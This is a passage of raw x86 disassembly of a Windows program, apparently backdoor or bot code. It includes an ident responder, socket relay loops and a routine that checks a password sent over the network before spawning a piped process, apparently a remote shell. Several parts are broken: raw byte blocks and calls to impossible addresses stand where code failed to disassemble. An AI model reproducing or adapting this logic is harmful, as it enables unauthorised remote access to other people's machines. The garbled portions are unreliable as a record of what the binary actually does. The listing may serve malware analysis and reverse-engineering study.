		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB694
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB65C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6DC
		call	dword_4CB59C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB644
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6C4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E58C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB670
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6D8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43467C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB65C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434638
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6DC
		push	dword ptr [ebp-4]
		call	dword_4CB6DC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 2700B29h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB644
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6C4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E58C[ecx], eax
		call	dword_4CB554
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB670
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6D8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346E4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E584[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 228FB24h, 69C44D8Bh,	234C9h,	89C63B00h, 43E59481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 2280A63h,	0E890EDEBh
		dd 22903A9h, 46A86850h,	0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6DC
		push	dword ptr [ebp+8]
		call	dword_4CB6DC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 2700B29h
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6C4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB644
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB684
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6C8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB5FC


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43476C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E58C[ebx]
		mov	dword_43E584[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E590[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E594[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB65C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_43472C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E58C[eax]
		call	dword_4CB6DC
		push	dword ptr [ebp+8]
		call	dword_4CB6DC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 2700B29h
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E590[esi]
		call	dword_4CB65C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E58C[esi]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E590[esi]
		call	dword_4CB6DC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2F036CE8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E58C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB62C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6DC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 2700B29h


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB65C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB598
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5D8
		push	eax
		push	offset unk_434844
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		call	near ptr 2700B29h
		nop


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB5FC
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D7F8
		push	dword ptr [esi]
		call	dword_4CB694
		cmp	dword_4CE3A8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB694
		push	dword ptr [esi]
		call	dword_4CB6DC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 2700B29h


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434808
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_4347DC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		call	near ptr 2700B29h
		nop


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347B0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700B29h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB65C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB65C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434870
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43489C
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5B4h, 0C63BF633h, 68501D74h
		dd 434A0Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 82E89057h, 57022F00h, 410CCC68h, 0B8E89000h,	85023A00h
		dd 902975C0h, 28FDF4E8h, 0C8685002h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB59Ch, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
		dd 22F0049h, 8D106A53h,	5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 4415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6C415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E58C98h, 0E0458D00h
		dd 15FF5350h, 4CB670h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB66Ch, 850FC085h, 103h, 43498C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6D815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB62415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6D015FFh, 8D50004Ch, 0FFFBEC85h, 494868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E584h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E8905056h, 228F3E4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E59481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 24E8326Ah, 90022803h, 0E890EDEBh, 228FC69h
		dd 490C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5D8h, 0EC858D50h,	68FFFFFBh, 4348D4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6DC15FFh
		dd 0FF53004Ch, 4CB6DC15h, 9C15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 0FE5FE856h, 5B90022Eh, 4439C033h,	940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E58C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_434A6C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_434A6C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 26B0861h
		nop


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 27B0E28h
		nop
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_434A38
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		nop
		call	near ptr 26B0861h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2730B86h


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6DC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_434B1C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_434ADC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AB4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
